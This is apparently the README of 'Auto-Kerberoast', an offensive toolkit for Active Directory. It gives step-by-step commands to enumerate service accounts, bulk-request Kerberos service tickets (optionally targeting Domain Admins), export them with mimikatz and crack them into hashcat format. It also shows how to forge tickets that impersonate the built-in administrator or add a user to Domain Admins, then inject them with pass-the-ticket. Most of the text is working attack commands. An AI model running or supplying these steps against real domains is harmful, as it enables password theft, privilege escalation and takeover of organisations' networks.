Auto-Kerberoast is my implementation of automating the original kerberoast scripts. This implementation avoids droping files to disk and provides the option to request only tickets associated with users of interest (e.g. Domain Admins).
Instructions:
Import autokerberoast.ps1 into powershell in the context of any domain user.
To list ALL user-based SPNs, run:
List-UserSPNs
To list user SPNs that involve users in a particular group (e.g. Domain Admins), run:
List-UserSPNs -GroupName "Domain Admins"
To list user SPNs from a particular domain (e.g. dev.testlab.local), run:
List-UserSPNs -Domain "dev.testlab.local"
When ready to obtain tickets for users in a group or domain of interest, run:
Invoke-AutoKerberoast -GroupName "Domain Admins" -Domain "dev.testlab.local"
To obtain ALL tickets associated with unique user SPNs in the forest, simply run:
Invoke-AutoKerberoast
Once desired tickets are obtained, convert into hashcat-compatible format by pasting output into text file and running
python autoKirbi2hashcat.py ./<TICKETS.txt>
To mask the username for each hash in the the hashcat file run:
python autoKirbi2hashcat.py ./<TICKETS.txt> MASK
Kerberoast is a series of tools for attacking MS Kerberos implementations. Below is a brief overview of what each tool does.
PS C:\> setspn -T medin -Q */*
One ticket:
PS C:\> Add-Type -AssemblyName System.IdentityModel
PS C:\> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/web01.medin.local"
All the tickets
PS C:\> Add-Type -AssemblyName System.IdentityModel
PS C:\> setspn.exe -T medin.local -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
mimikatz # kerberos::list /export
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
Make user appear to be a different user
./kerberoast.py -p Password1 -r 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi -w sql.kirbi -u 500
Add user to another group (in this case Domain Admin)
./kerberoast.py -p Password1 -r 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi -w sql.kirbi -g 512
kerberos::ptt sql.kirbi
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